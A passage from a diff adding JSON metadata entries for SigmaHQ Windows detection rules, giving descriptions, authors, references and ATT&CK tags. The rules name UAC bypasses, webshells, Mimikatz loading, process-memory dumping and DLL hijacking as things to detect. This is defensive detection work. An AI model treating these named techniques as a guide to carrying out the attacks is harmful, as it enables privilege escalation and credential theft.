"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce", + "value": "Drop Binaries Into Spool Drivers Color Folder" + }, + { + "description": "Detects when a file with a suspicious extension is created in the startup folder", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/10", + "falsepositive": [ + "Rare legitimate usage of some of the extensions mentioned in the rule" + ], + "filename": "file_event_win_susp_startup_folder_persistence.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "28208707-fe31-437f-9a7f-4b1108b94d2e", + "value": "Suspicious Startup Folder Persistence" + }, + { + "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/07", + "falsepositive": [ + "Administrative activity", + "PowerShell scripts running as SYSTEM user" + ], + "filename": "file_event_win_susp_system_interactive_powershell.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml" + ], + "tags": "No established tags" + }, + "uuid": "5b40a734-99b6-4b98-a1d0-1cea51a08ab2", + "value": "Suspicious Interactive PowerShell as SYSTEM" + }, + { + "description": "Detects the creation of tasks from processes executed from suspicious locations", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/16", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_task_write.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.t1053" + ] + }, + "uuid": "80e1f67a-4596-4351-98f5-a9c3efabac95", + "value": "Suspicious Scheduled Task Write to System32 Tasks" + }, + { + "description": "Detects the creation of log files during a TeamViewer remote session", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/30", + "falsepositive": [ + "Legitimate uses of TeamViewer in an organisation" + ], + "filename": "file_event_win_susp_teamviewer_remote_session.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.teamviewer.com/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "162ab1e4-6874-4564-853c-53ec3ab8be01", + "value": "TeamViewer Remote Session" + }, + { + "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/24", + "falsepositive": [ + "Legitimate use of the profile by developers or administrators" + ], + "filename": "file_event_win_susp_vscode_powershell_profile.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.013" + ] + }, + "uuid": "3a9fa2ec-30bc-4ebd-b49e-7c9cff225502", + "value": "VsCode Powershell Profile Modification" + }, + { + "description": "Detects the creation of an file in user Word Startup", + "meta": { + "author": "frack113", + "creation_date": "2022/06/05", + "falsepositive": [ + "Addition of legitimate plugins" + ], + "filename": "file_event_win_susp_winword_startup.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Malware Sandbox https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winword_startup.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ] + }, + "uuid": "a10a2c40-2c4d-49f8-b557-1a946bc55d9d", + "value": "Creation In User Word Startup Folder" + }, + { + "description": "Detects default PsExec service filename which indicates PsExec service installation and execution", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/06/12", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_tool_psexec.yml", + "level": "low", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tool_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d", + "value": "PsExec Service File Creation" + }, + { + "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/02/21", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_tsclient_filewrite_startup.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "52753ea4-b3a0-4365-910d-36cff487b789", + "value": "Hijack Legit RDP Session to Move Laterally" + }, + { + "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_consent_comctl32.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "62ed5b55-f991-406a-85d9-e8e8fdf18789", + "value": "UAC Bypass Using Consent and Comctl32 - File" + }, + { + "description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_dotnet_profiler.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "93a19907-d4f9-4deb-9f91-aac4692776a6", + "value": "UAC Bypass Using .NET Code Profiler on MMC" + }, + { + "description": "Detects the pattern of a UAC bypass using Windows Event Viewer", + "meta": { + "author": "Antonio Cocomazzi (idea), Florian Roth (rule)", + "creation_date": "2022/04/27", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_eventvwr.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", + "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation" + ] + }, + "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43", + "value": "UAC Bypass Using EventVwr" + }, + { + "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/03", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_idiagnostic_profile.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/Wh04m1001/IDiagnosticProfileUAC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "48ea844d-19b1-4642-944e-fe39c2cc1fec", + "value": "UAC Bypass Using IDiagnostic Profile - File" + }, + { + "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_ieinstal.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "bdd8157d-8e85-4397-bb82-f06cc9c71dbb", + "value": "UAC Bypass Using IEInstal - File" + }, + { + "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_msconfig_gui.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "41bb431f-56d8-4691-bb56-ed34e390906f", + "value": "UAC Bypass Using MSConfig Token Modification - File" + }, + { + "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_ntfs_reparse_point.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "7fff6773-2baa-46de-a24a-b6eec1aba2d1", + "value": "UAC Bypass Using NTFS Reparse Point - File" + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_winsat.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8", + "value": "UAC Bypass Abusing Winsat Path Parsing - File" + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_uac_bypass_wmp.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "68578b43-65df-4f81-9a9b-92f32711a951", + "value": "UAC Bypass Using Windows Media Player - File" + }, + { + "description": "Possible webshell file creation on a static web site", + "meta": { + "author": "Beyu Denis, oscd.community, Tim Shelton", + "creation_date": "2019/10/22", + "falsepositive": [ + "Legitimate administrator or developer creating legitimate executable files in a web application folder" + ], + "filename": "file_event_win_webshell_creation_detect.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "PT ESC rule and personal experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "39f1f9f2-9636-45de-98f6-a4046aa8e4b9", + "value": "Windows Webshell Creation" + }, + { + "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking", + "meta": { + "author": "frack113", + "creation_date": "2022/05/09", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_werfault_dll_hijacking.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.001" + ] + }, + "uuid": "28a452f3-786c-4fd8-b8f2-bddbe9d616d1", + "value": "Creation of an WerFault.exe in Unusual Folder" + }, + { + "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", + "meta": { + "author": "Julia Fomina, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_winrm_awl_bypass.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "d353dac0-1b41-46c2-820c-d7d2561fc6ed", + "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl" + }, + { + "description": "Detects file creation patterns noticeable during the exploitation of CVE-2021-40444", + "meta": { + "author": "Florian Roth, Sittikorn S", + "creation_date": "2021/09/10", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_winword_cve_2021_40444.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", + "https://twitter.com/vanitasnk/status/1437329511142420483?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587" + ] + }, + "uuid": "60c0a111-787a-4e8a-9262-ee485f3ef9d5", + "value": "Suspicious Word Cab File Write CVE-2021-40444" + }, + { + "description": "Detects the creation of the default output filename used by the wmicexec tool", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_wmiexec_default_filename.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1047" + ] + }, + "uuid": "8d5aca11-22b3-4f22-b7ba-90e60533e1fb", + "value": "Wmiexec Default Output File" + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_wmiprvse_wbemcomn_dll_hijack.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "614a7e17-5643-4d89-b6fe-f9df1a79641c", + "value": "Wmiprvse Wbemcomn DLL Hijack" + }, + { + "description": "Detects file writes of WMI script event consumer", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2018/03/07", + "falsepositive": [ + "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)" + ], + "filename": "file_event_win_wmi_persistence_script_event_consumer_write.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml" + ], + "tags": [ + "attack.t1546.003", + "attack.persistence" + ] + }, + "uuid": "33f41cdd-35ac-4ba8-814b-c6a4244a1ad4", + "value": "WMI Persistence - Script Event Consumer File Write" + }, + { + "description": "Detects creation of template files for Microsoft Office from outside Office", + "meta": { + "author": "Max Altgelt", + "creation_date": "2022/06/02", + "falsepositive": [ + "Loading a user environment from a backup or a domain controller", + "Synchronization of templates" + ], + "filename": "file_event_win_word_template_creation.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ] + }, + "uuid": "0e20c89d-2264-44ae-8238-aeeaba609ece", + "value": "Office Template Creation" + }, + { + "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/18", + "falsepositive": [ + "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" + ], + "filename": "file_event_win_wpbbin_persistence.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1542.001" + ] + }, + "uuid": "e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f", + "value": "UEFI Persistence Via Wpbbin - FileCreation" + }, + { + "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_writing_local_admin_share.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1546.002" + ] + }, + "uuid": "4aafb0fa-bff5-4b9d-b99e-8093e659c65f", + "value": "Writing Local Admin Share" + }, + { + "description": "Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection", + "meta": { + "author": "frack113", + "creation_date": "2022/02/19", + "falsepositive": [ + "Application installation" + ], + "filename": "file_rename_win_not_dll_to_dll.yml", + "level": "medium", + "logsource.category": "file_rename", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/ffforward/status/1481672378639912960", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml" + ], + "tags": "No established tags" + }, + "uuid": "bbfd974c-248e-4435-8de6-1e938c79c5c1", + "value": "Rename Common File to DLL File" + }, + { + "description": "Detects possible ransomware adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\" etc.", + "meta": { + "author": "frack113", + "creation_date": "2022/07/16", + "falsepositive": [ + "Backup software" + ], + "filename": "file_rename_win_ransomware.yml", + "level": "medium", + "logsource.category": "file_rename", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", + "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ] + }, + "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99", + "value": "Suspicious Appended Extension" + }, + { + "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account)\nwanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n", + "meta": { + "author": "Den Iuzvyk", + "creation_date": "2020/07/15", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_abusing_azure_browser_sso.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.002" + ] + }, + "uuid": "50f852e6-af22-4c78-9ede-42ef36aa3453", + "value": "Abusing Azure Browser SSO" + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2019/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_alternate_powershell_hosts_moduleload.yml", + "level": "low", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190610201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_alternate_powershell_hosts_moduleload.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "fe6e002f-f244-4278-9263-20e4b593827f", + "value": "Alternate PowerShell Hosts" + }, + { + "description": "Detects loading of Microsoft Defender's DLLs by its processes (MpCmdRun and NisSrv) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2022/08/02", + "falsepositive": [ + "Very unlikely" + ], + "filename": "image_load_defender_load_dll_from_nondefault_path.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_defender_load_dll_from_nondefault_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "418dc89a-9808-4b87-b1d7-e5ae0cb6effc", + "value": "Microsoft Defender Loading DLL from Nondefault Path" + }, + { + "description": "Detects DLL image load activity as used by FoggyWeb backdoor loader", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/09/27", + "falsepositive": [ + "Unlikely" + ], + "filename": "image_load_foggyweb_nobelium.yml", + "level": "critical", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_foggyweb_nobelium.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587" + ] + }, + "uuid": "640dc51c-7713-4faa-8a0e-e7c0d9d4654c", + "value": "FoggyWeb Backdoor DLL Loading" + }, + { + "description": "Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension.", + "meta": { + "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton", + "creation_date": "2019/11/14", + "falsepositive": [ + "Used by some .NET binaries, minimal on user workstation.", + "Used by Microsoft SQL Server Management Studio" + ], + "filename": "image_load_in_memory_powershell.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/p3nt4/PowerShdll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_in_memory_powershell.yml" + ], + "tags": [ + "attack.t1059.001", + "attack.execution" + ] + }, + "uuid": "092bc4b9-3d1d-43b4-a6b4-8c8acd83522f", + "value": "In-memory PowerShell" + }, + { + "description": "Detects certain DLL loads when Mimikatz gets executed", + "meta": { + "author": "sigma", + "creation_date": "2017/03/13", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_mimikatz_inmemory_detection.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://securityriskadvisors.com/blog/post/detecting-in-memory-mimikatz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_mimikatz_inmemory_detection.yml" + ], + "tags": [ + "attack.s0002", + "attack.t1003", + "attack.lateral_movement", + "attack.credential_access", + "car.2019-04-004" + ] + }, + "uuid": "c0478ead-5336-46c2-bd5e-b4c84bc3a36e", + "value": "Mimikatz In-Memory" + }, + { + "description": "Detects both of CVE-2022-30190 / Follina and DogWalk vulnerability exploiting msdt.exe binary to load sdiageng.dll binary", + "meta": { + "author": "Greg (rule)", + "creation_date": "2022/06/17", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_msdt_sdiageng.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_msdt_sdiageng.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202", + "cve.2022.30190" + ] + }, + "uuid": "ec8c4047-fad9-416a-8c81-0f479353d7f6", + "value": "MSDT.exe Loading Diagnostic Library" + }, + { + "description": "Detects processes loading modules related to PCRE.NET package", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/29", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_pcre_net_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "84b0a8f3-680b-4096-a45b-e9a89221727c", + "value": "PCRE.NET Package Image Load" + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/05/05", + "falsepositive": [ + "Very unlikely" + ], + "filename": "image_load_pingback_backdoor.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ] + }, + "uuid": "35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b", + "value": "Pingback Backdoor" + }, + { + "description": "Detects rundll32 loading a renamed comsvcs.dll to dump process memory", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/14", + "falsepositive": [ + "Unlikely" + ], + "filename": "image_load_rundll32_loading_renamed_comsvcs.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1555200155351228419", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_loading_renamed_comsvcs.yml" + ], + "tags": [ + "attack.credential_access", + 